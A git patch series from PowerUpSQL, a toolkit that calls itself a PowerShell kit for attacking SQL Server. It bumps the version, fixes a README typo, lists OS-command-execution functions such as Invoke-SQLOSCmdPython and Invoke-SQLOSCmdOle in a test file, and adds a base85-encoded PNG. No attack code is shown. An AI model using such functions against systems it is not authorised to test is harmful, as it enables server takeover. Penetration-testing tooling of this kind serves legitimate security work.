b/PowerUpSQL.ps1 index 8f54d2a..3be7bc0 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.84.100 + Version: 1.84.101 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 26e7da5..e28acbb 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.84.100' + ModuleVersion = '1.84.101' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From acbb4dfec2def90bbe2f4d2273561ef48e28cd05 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sat, 9 Sep 2017 11:02:19 -0500 Subject: [PATCH 099/145] Update README.md --- scripts/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/README.md b/scripts/README.md index 7ed2db1..0523a72 100644 --- a/scripts/README.md +++ b/scripts/README.md @@ -19,5 +19,5 @@ Source: https://github.com/clymb3r/PowerShell/tree/master/Invoke-TokenManipulati Imported Scripts: Invoke-TokenManipulation.ps1
### Community Contributions
-Some PowerUpSQL functions have been written by other authors. Those authors are documented at the beginning of each function and noted on in the primary readme file. If I missed someone please let me know! +Some PowerUpSQL functions have been written by other authors. Those authors are documented at the beginning of each function and noted in the primary readme file. If I missed someone please let me know! From d78d069a46b9a6c90976d6e0dbe1dd79261fafc9 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sat, 9 Sep 2017 11:04:04 -0500 Subject: [PATCH 100/145] Update PowerUpSQLTests.ps1 --- tests/PowerUpSQLTests.ps1 | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tests/PowerUpSQLTests.ps1 b/tests/PowerUpSQLTests.ps1 index 0e9d314..4b0404a 100644 --- a/tests/PowerUpSQLTests.ps1 +++ b/tests/PowerUpSQLTests.ps1 @@ -19,6 +19,10 @@ Get-SQLInstanceLocal Get-SQLInstanceScanUDP Get-SQLInstanceScanUDPThreaded Invoke-SQLOSCmdCLR +Invoke-SQLOSCmdAgentJob +Invoke-SQLOSCmdPython +Invoke-SQLOSCmdR +Invoke-SQLOSCmdOle Create-SQLFileCLRDll Get-SQLAssemblyFile #> From da7d270e2a7fe965b8ac0c55aaeae052a92fc1b5 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sat, 9 Sep 2017 11:05:37 -0500 Subject: [PATCH 101/145] Add files via upload --- images/Unofficial.png | Bin 0 -> 169137 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 images/Unofficial.png diff --git a/images/Unofficial.png b/images/Unofficial.png new file mode 100644 index 0000000000000000000000000000000000000000..1afa31b150fd847bfeda6c428bc44787b8bd550a GIT binary patch literal 169137 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 